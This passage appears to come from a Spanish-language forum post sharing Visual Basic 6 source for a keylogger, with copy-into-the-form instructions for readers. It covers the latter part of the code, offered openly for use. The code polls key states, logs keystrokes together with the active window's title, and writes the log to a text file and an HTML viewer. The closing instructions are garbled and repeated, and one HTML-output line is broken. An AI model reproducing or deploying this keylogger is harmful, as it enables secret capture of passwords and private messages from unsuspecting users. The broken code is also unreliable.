EstadoTecla = GetAsyncKeyState(vbKeyNumpad2)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "2"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad3)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "3"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad4)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "4"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad5)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "5"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad6)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "6"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad7)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "7"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad8)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "8"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad9)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "9"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad0)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "0"
End If
DoEvents
End Sub
'Comentario.-Funcion de tipo boolean que determina si esta presionada la tecla CapsLock
Public Function CAPSLOCKON() As Boolean
Static bOn As Boolean
Static bInit As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
'Comentario.-Esta sub graba los datos de la variable "Texto" en el archivo Log
Private Sub grabarArchivo()
Open path For Append As #1
Print #1, StrLog
'Comentario.-Eliminamos el contenido de StrLog
StrLog = ""
Close
End Sub
'Comentario.-Esta funcion devuelve el Caption de la ventana activa y es llamada desde el Timer1
Private Function ObtenerCaption(HandleWin As Long) As String
Dim Buffer As String
Dim TextTam As Long
'Comentario.-Obtenemos el tamaño del texto
TextTam& = GetWindowTextLength(HandleWin&)
'Comentario.-Este es un Buffer de caracteres que le pasaremos a GetWindowText para obtener el caption de la ventana activa
Buffer$ = String(TextTam&, 0&)
'Comentario.-Le pasamos a GetWindowText el hwnd de la ventana activa, el buffer y el tamaño anterior
Call GetWindowText(HandleWin&, Buffer$, TextTam& + 1)
'Comentario.-Asignamos a la funcion el caption
ObtenerCaption$ = Buffer$ & vbCrLf & "---------------------------------------------------"
End Function
'************************************************* ********************
'Comentario.- esta funcion generara el codigo Html para visualizar el archivo Log _
en este formato HTML -_-
'************************************************* ********************
Private Sub generarHTML()
Dim linea As String
Open App.path & "\archivolog.txt" For Input As #2
Open App.path & "\archivolog.html" For Output As #3
Print #3, "" + vbCrLf + "" + vbCrLf
While Not EOF(2)
Line Input #2, linea$
'Comentario.-Si la linea contiene la palabra ventana
'Comentario.-ponemosmos el color rojo a esa linea mediante la etiqueta font
If InStr(1, linea$, "ventana", 1) Then
Print #3, ""; linea$; ""
Else
'Comentario.-Si no establecemos el color es negro
Print #3, " End If
Print #3, "
" 'Para hacer un salto en el codigo Html
DoEvents
Wend
Print #3, "" + vbCrLf + "" 'Comentario.-Cerramos el codigo Html
Close #2
Close #3
End Sub
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
El Codigo - Copiarlo en - El Form 1 y/o Formulario , como sea que lo llamen
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
No Ahy la necesidad de Escribir en el Boton / Caption "..." , Mi codigo lo hace
Osea aqui ._. - no se puede editar desde las Propiedades de El Boton - Dale en ver Codigo Y busca Esta Parte --- """"""
" " " " "" " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " "
Close
Option1.Caption<
El Codigo - Copiarlo en - El Form 1 y/o Formulario , como sea que lo llamen
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
No Ahy la necesidad de Escribir en el Boton / Caption "..." , Mi codigo lo hace
Osea aqui ._. - no se puede editar desde las Propiedades de El Boton - Dale en ver Codigo Y busca Esta Parte --- """"""
" " " " "" " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " "
Close
Option1.Caption<
Sin Comentarios.